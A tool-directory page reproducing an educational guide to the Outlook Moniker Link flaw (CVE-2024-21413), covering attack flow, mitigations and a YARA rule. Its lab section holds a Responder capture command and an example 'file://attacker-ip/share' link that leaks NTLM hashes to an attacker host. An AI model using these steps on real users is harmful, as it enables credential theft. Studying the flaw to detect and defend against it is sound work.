Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Moniker-Link--CVE-2024-21413- — Educational guide on CVE-2024-21413, the Outlook zero-click Moniker Link vulnerability, covering attack flow, NTLM credential capture, detection with YARA, and mitigation strategies. | Kitploit
Tools/GitHubGitHub/bhatbhupendra/moniker-link--cve-2024-21413-
Password CrackingPhishing ToolsVulnerability AnalysisExploitationIDS/IPS EvasionLateral MovementPenetration TestingLearning & EducationRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Email Security
GitHubbhatbhupendra/moniker-link--cve-2024-21413-

Moniker-Link--CVE-2024-21413-

Educational guide on CVE-2024-21413, the Outlook zero-click Moniker Link vulnerability, covering attack flow, NTLM credential capture, detection with YARA, and mitigation strategies.

View Repository
64 months agoNot yet reviewed

🔗 Moniker Link (CVE-2024-21413) — A Practical Guide to the Outlook Zero-Click Vulnerability


📌 1. Introduction

CVE-2024-21413, commonly referred to as the Moniker Link vulnerability, is a critical security flaw in Microsoft Outlook that enables attackers to leak user credentials without requiring any interaction.

Unlike traditional phishing attacks, this vulnerability can be triggered simply by previewing an email, making it particularly dangerous in enterprise environments.

The issue stems from how Outlook processes moniker links, causing unintended authentication attempts to attacker-controlled systems.


🧠 2. Key Concepts

Understanding the following concepts is essential:

🔹 Moniker Link

A Windows-specific mechanism that allows applications to reference external resources using protocols such as:

  • file://
  • unc://

🔹 NTLM Authentication

  • A legacy Windows authentication protocol
  • Automatically sends hashed credentials when accessing remote resources
  • Susceptible to credential capture and relay attacks

🔹 UNC Path (Universal Naming Convention)

root@kitploit:~
\\attacker-server\share

Used to access shared resources over a network. In this vulnerability, it is abused to force authentication requests.

🔹 Protected View Bypass

Outlook’s Protected View is designed to isolate potentially unsafe content. This vulnerability bypasses that protection, allowing external resource access.


⚙️ 3. How It Works

Attack Flow (Step-by-Step)

  1. Crafting the Payload

    • Attacker embeds a malicious moniker link (e.g., file://attacker-server/share) inside an email.
  2. Delivery

    • Email is sent to the victim.
  3. Trigger

    • Victim previews or opens the email in Outlook.
  4. Automatic Processing

    • Outlook processes the link without user interaction.
  5. Authentication Request

    • Windows attempts NTLM authentication to the attacker’s server.
  6. Credential Exposure

    • Attacker captures the NTLM hash.

Attack Flow Diagram

root@kitploit:~
[Attacker]
    |
    | 1. Send crafted email
    v
[Victim Outlook]
    |
    | 2. Auto-process moniker link
    v
[Windows System]
    |
    | 3. NTLM authentication attempt
    v
[Attacker Server]
    |
    | 4. Capture NTLM hash
    v
[Credential Abuse / Lateral Movement]

🌍 4. Real-World Impact

Common Attack Scenarios

  • Targeted phishing campaigns against organizations
  • Credential harvesting in corporate networks
  • Initial access for lateral movement

Attacker Objectives

  • Capture NTLM hashes
  • Relay authentication to internal services
  • Escalate privileges within the network

🛠️ 5. Tools & Technologies

Offensive / Research Tools

  • Responder — Captures NTLM authentication hashes
  • Impacket — Network exploitation toolkit
  • ntlmrelayx.py — Performs NTLM relay attacks

Defensive Tools

  • Microsoft Defender — Endpoint detection and response
  • Wireshark — Network traffic inspection
  • Sysmon — Advanced system event logging

💻 6. Hands-on Example (Lab Environment Only)

⚠️ Perform only in controlled lab environments

Start NTLM Capture Service

root@kitploit:~
sudo responder -I eth0

Example Malicious Link

root@kitploit:~
<a href="file://attacker-ip/share">Open Document</a>

Expected Output

root@kitploit:~
[SMB] NTLMv2 Hash captured
User: victim

🛡️ 7. Detection (YARA Rule)

A detection rule was developed by Florian Roth to identify exploitation attempts involving moniker links.

YARA Rule Example

root@kitploit:~
rule Outlook_MonikerLink_CVE_2024_21413
{
    meta:
        description = "Detects Outlook Moniker Link exploitation via file:// or UNC paths"
        author = "Florian Roth"
        reference = "CVE-2024-21413"
    
    strings:
        $a = "file://"
        $b = "\\\\"
    
    condition:
        any of them
}

Detection Use Cases

  • Email gateway scanning
  • SIEM alert generation
  • Threat hunting for suspicious links

🛡️ 8. Mitigation & Best Practices

Patch Management

  • Apply security updates provided by Microsoft immediately

Authentication Hardening

  • Disable NTLM where possible
  • Enforce Kerberos authentication

Network Controls

  • Block outbound SMB (TCP 445) to external networks
  • Restrict unnecessary outbound connections

Email Security

  • Filter or sanitize file:// and UNC-based links
  • Use advanced email threat protection solutions

Monitoring & Detection

  • Monitor outbound authentication attempts
  • Log and alert unusual SMB traffic

⚠️ 9. Common Mistakes

  • Assuming user interaction is required
  • Ignoring NTLM-related risks in modern environments
  • Relying solely on antivirus without network controls
  • Delaying patch deployment

🧾 10. Conclusion

CVE-2024-21413 demonstrates how deeply integrated system behaviors (like automatic authentication) can be exploited through seemingly harmless inputs such as email links.

Key Takeaways

  • Zero-click vulnerability — no user interaction required
  • Exploits Outlook’s handling of moniker links
  • Results in NTLM credential leakage
  • Detectable using YARA and network monitoring
  • Preventable through patching and proper configuration

📚 11. Further Reading

  • Microsoft Security Advisory — CVE-2024-21413
  • Impacket Documentation (NTLM Relay Attacks)
  • YARA Documentation
  • OWASP Authentication Cheat Sheet

💡 Recommendation: Reproduce this vulnerability in a virtual lab (e.g., Windows VM + attacker VM) to fully understand the attack chain and defensive strategies.

Download Tool